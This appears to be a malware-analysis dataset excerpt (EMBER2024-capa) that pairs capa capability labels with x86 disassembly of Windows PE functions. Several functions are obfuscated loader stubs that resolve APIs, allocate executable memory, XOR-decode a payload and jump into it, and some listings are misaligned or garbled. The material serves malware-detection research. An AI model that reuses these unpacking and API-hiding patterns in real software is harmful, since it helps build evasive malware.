joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413670
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [ebp - 0x77c]
add eax, 1
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x77c]
cmp edx, dword [ecx + 0x18]
jae 0x4136d0
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a4]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x780], edx
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19ac]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19b0], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x413534
and esi, 0xc9b1
pop esi
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x8a4]
or ecx, 0x20
cmp edx, ecx
jge 0x4136aa
mov dword [ebp - 0xcd4], 0xffffffff
jmp 0x4136b4
mov dword [ebp - 0xcd4], 1
cmp dword [ebp - 0xcd4], 0
jne 0x4136cb
mov edx, dword [ebp - 0x19b0]
mov dword [ebp - 0x3f8], edx
jmp 0x4136dc
jmp 0x4134b5
cmp dword [ebp - 0x3f8], 0
je 0x4137b7
push ebx
add ebx, 0xf5af
push ebx
push edi
add esp, 4
xor ebx, 0x121d7
pop ebx
push eax
and eax, 0xce1c
xor eax, 0x13ea0
sub eax, 0xd9cc
pop eax
push esi
push edx
add esp, 4
and esi, 0x84bc
or esi, 0x176b2
pop esi
mov ecx, dword fs:[0x18]

Function at 0x413730
Capabilities:
Resolve function by parsing pe exports

Disassembly:
inc ecx
aas
aas
cmp dword ss:[ebx - 0x367efb3c], eax
xchg ecx, eax
add byte [eax], 0
xor ecx, 0x110ad
or ecx, 0xc5b3
pop ecx
push ecx
and ecx, 0xe54
or ecx, 0x6d57
pop ecx
mov edx, dword [ebp - 0x19b4]
mov dword [ebp - 0x19b8], edx
lea eax, [ebp - 0x1738]
push eax
invalid
xchg ebp, eax
dec eax
invalid

Function at 0x413735
Capabilities:
Resolve function by parsing pe exports

Disassembly:
inc ecx
aas
aas
cmp dword ss:[ebx - 0x367efb3c], eax
xchg ecx, eax
add byte [eax], 0
xor ecx, 0x110ad
or ecx, 0xc5b3
pop ecx
push ecx
and ecx, 0xe54
or ecx, 0x6d57
pop ecx
mov edx, dword [ebp - 0x19b4]
mov dword [ebp - 0x19b8], edx
lea eax, [ebp - 0x1738]
push eax
invalid
xchg ebp, eax
dec eax
invalid

Function at 0x4137f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x167c], ecx
push ebx
push esi
add esp, 4
or ebx, 0xe141
or ebx, 0x1f90
pop ebx
push edx
and edx, 0x5725
pop edx
push edi
push edi
add esp, 4
Function at 0x413ab0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add byte [ecx + 0x170b8c7], al
add byte [edi + 0x51], bl

Function at 0x413b60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
and ebx, 0x2c74
jmp 0x413b6e
or ebx, 0x68b4
pop ebx
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1688], eax
cmp dword [ebp - 0x1688], 0
jne 0x413ba5
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x413e96
mov edx, dword [ebp - 0x1688]
mov eax, dword [ebp - 0x338]
inc dword [ebx]
inc edx
cmp al, 0x89
test dword [ecx + ebp*8 - 1], esi
push dword [ebp + 0x11]
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x413e96
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x168c]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1690], edx
cmp dword [ebp - 0x1690], 0
jne 0x413bff
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
jmp 0x413e96
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1690]
mov dword [ebp - 0x788], ecx
jne 0x413c24
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x413e96
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19c4], ecx
mov edx, dword [ebp - 0x788]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19cc], edx
mov dword [ebp - 0x78c], 0
jmp 0x413c7e
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
invalid
invalid
Function at 0x415e90
Capabilities:
Encode data using xor

Disassembly:
mov dword [esi + 0xf5e6], 0xe786c76a
cmc
add byte [eax], al
mov dword fs:[esi + 0xf5e8], 0xe986c770
cmc
add byte [eax], al
mov dword gs:[esi + 0xf5ea], 0xeb86c766
cmc
add byte [eax], al
push esp
mov dword [esi + 0xf5ec], 0xed86c775
cmc
add byte [eax], al
jae 0x415e77
xchg dh, ch
cmc
add byte [eax], al
push 0xffffffffffffffc7
xchg bh, ch
cmc
add byte [eax], al
outsd dx, dword [esi]
mov dword [esi + 0xf5f0], 0xf186c768
cmc
add byte [eax], al
add dword [edx + 0x54], edx
test ch, al
add eax, 0xf6a1ca82
add dword [ecx], eax
test byte [ecx], 1
pop edx
push edi
push edi
test ch, al
add eax, 0xad8ee782
add dword [ecx], eax
and bh, 0x65
sti
add dword [ecx], eax
or bh, 0x95
insb byte es:[edi], dx
add dword [ecx], eax
xor bh, 0xdf
and eax, dword [edx]
add dword [edi + 0x51], ebx
add cl, 0x6b
xor eax, 0xc7590102
xchg byte [ebp + 0x530000f5], dl
mov dword [esi + 0xf596], 0x9786c775
cmc
add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xf595], 0x9686c753
cmc
add byte [eax], al
jne 0x415ed3
xchg byte [edi + 0x6d0000f5], dl
mov dword [esi + 0xf598], 0x9986c756
cmc
add byte [eax], al
jno 0x415ee8
xchg byte [edx + 0x640000f5], bl
mov dword [esi + 0xf59b], 0x9c86c762
cmc
add byte [eax], al
je 0x415efd
xchg byte [ebp + 0x660000f5], bl
mov dword [esi + 0xf59e], 0x9f86c756
cmc
add byte [eax], al
outsd dx, dword [esi]
mov dword [esi + 0xf5a0], 0xa186c76a
cmc
add byte [eax], al
mov dword fs:[esi + 0xf5a2], 0xa386c770
cmc
add byte [eax], al
mov dword gs:[esi + 0xf5a4], 0xa586c766
cmc
add byte [eax], al
push esp
mov dword [esi + 0xf5a6], 0xa786c775
cmc
add byte [eax], al
jae 0x415f4a
xchg byte [eax + 0x6a0000f5], ch
mov dword [esi + 0xf5a9], 0xaa86c76f
cmc
add byte [eax], al
push 0xf5ab86c7
add byte [eax], al
add dword [eax - 0x14], ebx
pop es
dec eax
xor eax, 0x824b3733
rcr byte [ecx], 1
Function at 0x4435c0
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [esi + 0x1f0]
test eax, eax
je 0x443614
push 0x4e20
push eax
mov byte [esi + 0x1ec], 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4435f3
mov eax, dword [esi + 0x1f0]
push 1
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x1f0]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x1f0], 0
mov dword [esi + 0x1b0], 0
ret

Function at 0x445ed0
Capabilities:
Get common file path

Disassembly:
cmp dword [0x4d0b48], 0
jne 0x445fcc
push 0x4d0b4c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x4d0b48], 0
jne 0x445fc1
xor ecx, ecx
push ecx
push 0x28
push 0x4d0730
xor eax, eax
push ecx
mov dword [0x4d0938], 0
mov dword [0x4d0b44], 0
mov word [0x4d0730], ax
mov word [0x4d093c], cx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x445fb7
push 0x4d0730
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov eax, 0x4d0730
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x445f44
push 0x104
sub eax, edx
push 0x4d093c
sar eax, 1
push 0x4d0730
mov dword [0x4d0938], eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x445f78
cmp eax, 0x104
jb 0x445f81
xor edx, edx
mov word [0x4d093c], dx
push 0x4d093c
push 0x4d0730
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x445f9b
mov word [0x4d093c], ax
mov eax, 0x4d093c
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x445fa3
sub eax, edx
sar eax, 1
mov dword [0x4d0b44], eax
mov dword [0x4d0b48], 1
push 0x4d0b4c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
ret
Function at 0x455a00
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x4c9614]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push 2
push esi
push 0x4aac48
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
jne 0x455ae4
push 0x206
push eax
lea ecx, [ebp - 0x412]
push ecx
mov word [ebp - 0x414], ax
call fcn.004845b0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 3
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push 0x104
push ecx
call fcn.0047f500
push 0x101
push ebx
lea edx, [ebp - 0x20c]
push 0x104
push edx
call fcn.0048116d
add esp, 0x20
test ebx, ebx
je 0x455aa1
push 0x104
push ebx
call fcn.0047f161
add esp, 8
push 0x101
lea eax, [esi + 4]
push eax
lea ecx, [ebp - 0x20c]
push 0x104
push ecx
call fcn.0048116d
push 0x104
lea edx, [ebp - 0x20c]
push edx
push 0x104
push esi
call fcn.0047f500
add esp, 0x20
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret
push edi
lea eax, [ebp - 0x20c]
mov edi, esi
mov ecx, eax
mov edx, 0x104
sub edi, ecx
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x455b16
movzx ecx, word [edi + eax]
test cx, cx
je 0x455b16
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x455af6
jmp 0x455b1a
test edx, edx
jne 0x455b1d
sub eax, 2
push 0x101
xor edx, edx
push ebx
mov word [eax], dx
lea eax, [esi + 6]
push 0x104
push eax
call fcn.0047f500
push 0x101
lea ecx, [ebp - 0x206]
push ecx
push 0x104
push esi
call fcn.0048116d
mov ecx, dword [ebp - 4]
add esp, 0x20
pop edi
xor ecx, ebp
pop ebx
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret

Function at 0x455c00
Capabilities:
Get common file path

Disassembly:
push esi
push 0x410
call fcn.0047d207
mov esi, eax
add esp, 4
xor eax, eax
test esi, esi
je 0x455c4a
push esi
push eax
push eax
push 5
push eax
mov word [esi], ax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x455c3f
push str.360SANDBOXSHADOW_
call fcn.00455a00
add esp, 4
call fcn.00455960
mov eax, esi
pop esi
ret
push esi
call fcn.0047ef43
add esp, 4
xor eax, eax
pop esi
ret

Function at 0x4571f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, dword [0x4d21b8]
add esi, 0x10
push esi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x4d0710]
lea ecx, [ebp + 8]
call fcn.004145f0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test ebx, ebx
je 0x457235
add ebx, 0x50
mov dword [ebp + 8], ebx
jmp 0x45723c
mov dword [ebp + 8], 0
lea esi, [edi + 4]
lea edx, [ebp + 8]
call fcn.004144c0
cmp dword [0x4cfca0], 0
je 0x45725f
mov ecx, dword [0x4cfcb4]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push 0xf
call edx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x45a480
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, eax
mov esi, edi
call fcn.0045a4f0
mov eax, dword [edi + 0x30]
push 0x2b5c
push eax
call dword [sym.imp.USER32.dll_KillTimer]
cmp dword [0x4d229c], 0
jne 0x45a4bb
push 0
call fcn.00459c60
push 1
call fcn.00459bf0
mov dword [0x4d229c], 1
push 0
push 0
push edi
push 0x459ee0
push 0
push 0
mov byte [edi + 0x1c8], 0
call fcn.00480188
add esp, 0x18
mov dword [edi + 0x1cc], eax
pop edi
pop esi
ret

Function at 0x45a4f0
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [esi + 0x1cc]
test eax, eax
je 0x45a53a
push 0x4e20
push eax
mov byte [esi + 0x1c8], 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x45a523
mov eax, dword [esi + 0x1cc]
push 1
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x1cc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x1cc], 0
ret
Function at 0x45c2c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a39f0
mov eax, dword fs:[0]
push eax
sub esp, 0xaa4
mov eax, dword [0x4c9614]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
cmp dword [ebx + 0x210], 0
jne 0x45c466
push 0x104
lea ecx, [ebp - 0x21c]
xor eax, eax
push ecx
mov word [ebp - 0x21c], ax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
test eax, eax
je 0x45c3fb
push 0x4b4608
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebx + 8]
push eax
lea ecx, [ebp - 0x21c]
push ecx
call fcn.0047f291
add esp, 8
test eax, eax
jne 0x45c3fb
lea edx, [ebp - 0x85c]
push edx
call fcn.0040fa10
push ecx
mov eax, esp
mov dword [ebp - 0xa90], esp
push ecx
mov dword [ebp - 4], 0
mov dword [eax], 0
mov eax, esp
mov dword [ebp - 0xa90], esp
push edi
lea esi, [ebp - 0x830]
mov dword [eax], 0
call fcn.00412210
test eax, eax
je 0x45c3e4
lea eax, [ebp - 0xaac]
push str.IDS_SYS_EXE_NOT_IN_SB
push eax
mov ecx, edi
call fcn.004046e0
add esp, 8
mov byte [ebp - 4], 1
cmp dword [eax + 0x18], 8
jb 0x45c3b3
mov eax, dword [eax + 4]
jmp 0x45c3b6
add eax, 4
push 0
push 0
push eax
push 0
lea ecx, [ebp - 0x85c]
call int.00411960
lea ecx, [ebp - 0xaac]
mov byte [ebp - 4], 0
call fcn.00401420
push 1
lea esi, [ebp - 0x85c]
call fcn.004116c0
lea ecx, [ebp - 0x85c]
push ecx
mov dword [ebp - 4], 0xffffffff
call fcn.0040fbb0
xor eax, eax
jmp 0x45c46b
push 0x104
lea eax, [ebp - 0x424]
xor edx, edx
push eax
mov word [ebp - 0x424], dx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x45c466
mov esi, 0x4cc7c8
nop
mov edx, dword [esi]
xor ecx, ecx
push edx
lea eax, [ebp - 0x424]
mov word [ebp - 0x62c], cx
push eax
lea ecx, [ebp - 0x62c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test eax, eax
je 0x45c466
lea edx, [ebx + 8]
push edx
lea eax, [ebp - 0x62c]
push eax
call fcn.0047f291
add esp, 8
test eax, eax
je 0x45c486
add esi, 4
cmp esi, 0x4cc7e0
jl 0x45c420
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0xa8c]
push ecx
call fcn.0040fa10
push ecx
mov eax, esp
mov dword [ebp - 0xa90], esp
push ecx
mov ebx, 2
mov dword [ebp - 4], ebx
mov dword [eax], 0
mov eax, esp
mov dword [ebp - 0xa90], esp
push edi
lea esi, [ebp - 0xa60]
mov dword [eax], 0
call fcn.00412210
test eax, eax
je 0x45c51d
lea edx, [ebp - 0xaac]
push str.IDS_SYS_EXE_NOT_IN_SB
push edx
mov ecx, edi
call fcn.004046e0
add esp, 8
mov byte [ebp - 4], 3
cmp dword [eax + 0x18], 8
jb 0x45c4ed
mov eax, dword [eax + 4]
jmp 0x45c4f0
add eax, 4
push 0
push 0
push eax
push 0
lea ecx, [ebp - 0xa8c]
call int.00411960
lea ecx, [ebp - 0xaac]
mov byte [ebp - 4], bl
call fcn.00401420
push 1
lea esi, [ebp - 0xa8c]
call fcn.004116c0
lea eax, [ebp - 0xa8c]
push eax
mov dword [ebp - 4], 0xffffffff
call fcn.0040fbb0
xor eax, eax
jmp 0x45c46b
Function at 0x4030bb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x4030ca
pop dword [ebp - 0x18]
mov eax, 0x17ff530a
sub eax, 0x17bf2240
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xe01317a1
sub dword [ebp - 0x28], 0x91c0d256
mov dword [ebp - 0x24], 0xaa1af731
sub dword [ebp - 0x24], 0x77e7aaec
mov dword [ebp - 0x20], 0x77547d15
sub dword [ebp - 0x20], 0x2b0838e7
mov dword [ebp - 0x1c], 0x4bc30b48
add dword [ebp - 0x1c], 0xb43cf4b8
lea eax, [ebp - 0x28]
push eax
mov eax, 0xda374618
add eax, 0x26093aec
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x4562623
sub dword [ebp - 0x28], 0x8fe3bccd
mov dword [ebp - 0x24], 0xd0dae0cb
add dword [ebp - 0x24], 0x709180aa
mov dword [ebp - 0x20], 0xd560aa73
sub dword [ebp - 0x20], 0x71f13e07
mov dword [ebp - 0x1c], 0xc3378d5
add dword [ebp - 0x1c], 0xf3cc872b
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x37004
push 0
call eax
mov ecx, 0x3fa26c3e
add ecx, 0xc05ddbd0
mov edx, eax
mov ebx, 0x454200
add ebx, dword [ebp - 0x18]
mov edi, 0x7d6995eb
xor dword [ebp - 4], edi
mov esi, dword [ebx]
add dword [ebp - 8], ecx
add esi, edi
sub dword [ebp - 4], edx
mov dword [edx], esi
xor dword [ebp - 0xc], 0x1214209f
add edx, 4
add ebx, 4
loop 0x4031db
add eax, 0x1130b
xor ebx, ebx
add ebx, eax
add eax, 0xfa8de152
sub eax, 0xfa8de14d
mov ecx, 0x29a6fb78
add ecx, 0xd6990488
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x405a03
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x405a12
pop dword [ebp - 0x18]
mov eax, 0x405a12
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xa69f928
sub dword [ebp - 0x28], 0xbc17b3dd
mov dword [ebp - 0x24], 0xec8efe7a
sub dword [ebp - 0x24], 0xba5bb235
mov dword [ebp - 0x20], 0x69e291d5
add dword [ebp - 0x20], 0xe269b259
mov dword [ebp - 0x1c], 0x2f9d68a
add dword [ebp - 0x1c], 0xfd062976
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xd1c2963f
sub dword [ebp - 0x28], 0x5d502ce9
mov dword [ebp - 0x24], 0x87229ae7
add dword [ebp - 0x24], 0xba49c68e
mov dword [ebp - 0x20], 0xf3863438
add dword [ebp - 0x20], 0x6fe93834
mov dword [ebp - 0x1c], 0x8c7721d9
sub dword [ebp - 0x1c], 0x8c7721d9
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x28d4fdd2
add eax, 0xd76b832e
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x359dc
push 0
call eax
mov ecx, 0x985e7eb7
sub ecx, 0x985e3c2c
mov edx, eax
mov ebx, 0xcf0d6a6a
sub ebx, 0xcec6866a
add ebx, dword [ebp - 0x18]
mov esi, 0x8be6f8e2
mov dword [ebp - 8], 0xcf4c1ad6
mov edi, dword [ebx]
add dword [ebp - 0x10], edi
xor edi, esi
add dword [ebp - 8], ebx
mov dword [edx], edi
sub dword [ebp - 0xc], 0x4bf3427
add edx, 0xf10381e
add edx, 0xf0efc7e6
add ebx, 0x24749755
add ebx, 0xdb8b68af
loop 0x405b24
add eax, 0xfcff
mov ebx, eax
add eax, 0x98248ad
add eax, 0xf67db758
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x405cce
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x425f30
push esi
call fcn.00406212
push esi
call fcn.00405c71
mov edi, eax
test edi, edi
jne 0x405cef
xor eax, eax
jmp 0x405d47
push edi
call fcn.004064a6
test byte [0x42a258], 0x80
je 0x405d0c
mov ax, word [edi]
test ax, ax
je 0x405ceb
cmp ax, 0x5c
je 0x405ceb
sub edi, esi
sar edi, 1
jmp 0x405d26
call fcn.00406555
test eax, eax
je 0x405d20
test byte [eax], 0x10
je 0x405ceb
push esi
call fcn.00405c12
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405d12
call fcn.00405bc6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405dc2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405de1
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405de7
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileW]
ret 0xc
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x410414
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x410423
pop dword [ebp - 0x20]
mov eax, 0x410423
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x179b4ecd
add dword [ebp - 0x30], 0x36b6f67e
mov dword [ebp - 0x2c], 0xc2466175
add dword [ebp - 0x2c], 0x6fecead0
mov dword [ebp - 0x28], 0x550ffb03
sub dword [ebp - 0x28], 0x8c3b6d5
mov dword [ebp - 0x24], 0xba23d82f
sub dword [ebp - 0x24], 0xba23d82f
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xfe302d2a
add dword [ebp - 0x30], 0x76423c2c
mov dword [ebp - 0x2c], 0x7cfe4c51
sub dword [ebp - 0x2c], 0x3b91eadc
mov dword [ebp - 0x28], 0x91277280
add dword [ebp - 0x28], 0xd247f9ec
mov dword [ebp - 0x24], 0x8ec39173
add dword [ebp - 0x24], 0x713c6e8d
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xc9af7256
sub eax, 0xc96d4132
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x39d02
push 0
call eax
mov ecx, 0x8c38d663
add ecx, 0x73c761e8
xor edi, edi
add edi, eax
mov edx, 0x5abd3bbf
add edx, 0xa5860841
add edx, dword [ebp - 0x20]
mov esi, 0x26f52cde
xor dword [ebp - 0x14], edi
mov ebx, dword [edx]
sub dword [ebp - 8], ecx
add ebx, esi
mov dword [edi], ebx
sub dword [ebp - 0xc], esi
add edi, 4
add edx, 0xb23536f2
add edx, 0x4dcac912
loop 0x410537
add eax, 0x15278c27
sub eax, 0x1526b828
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1004cc62
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1004cc71
pop dword [ebp - 0x48]
mov eax, 0x1004cc71
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xea0766fd
add dword [ebp - 0x58], 0x644ade4e
mov dword [ebp - 0x54], 0x1ed33b85
add dword [ebp - 0x54], 0x136010c0
mov dword [ebp - 0x50], 0xbff45734
add dword [ebp - 0x50], 0x8c57ecfa
mov dword [ebp - 0x4c], 0x808afc52
sub dword [ebp - 0x4c], 0x808afc52
lea eax, [ebp - 0x58]
push eax
mov eax, 0x51f61f67
add eax, 0xbe1200cd
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x342c7f23
sub dword [ebp - 0x58], 0xbfba15cd
mov dword [ebp - 0x54], 0xaecd02d6
add dword [ebp - 0x54], 0x929f5e9f
mov dword [ebp - 0x50], 0x8f081e09
sub dword [ebp - 0x50], 0x2b98b19d
mov dword [ebp - 0x4c], 0xa0eee1ef
sub dword [ebp - 0x4c], 0xa0eee1ef
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x3f98785b
add eax, 0xd06fa7c9
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3da7b
push 0
call eax
mov ecx, 0x4985
mov ebx, eax
mov esi, 0x91761937
sub esi, 0x816aeb37
add esi, dword [ebp - 0x48]
mov edx, 0xd691663f
xor dword [ebp - 0x18], 0xb3317f94
mov edi, dword [esi]
sub dword [ebp - 0x24], edx
add edi, edx
add dword [ebp - 0x20], 0x92fd7729
mov dword [ebx], edi
add dword [ebp - 0x20], 0x38e5fb7c
add ebx, 0x2d69ccf6
sub ebx, 0x2d69ccf2
add esi, 0x9bda2054
add esi, 0x6425dfb0
loop 0x1004cd82
add eax, 0xcd8b63d0
sub eax, 0xcd8a4ae9
xor ebx, ebx
add ebx, eax
add eax, 0x8cc0c0e9
add eax, 0x733f3f1c
mov ecx, 0x10000000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret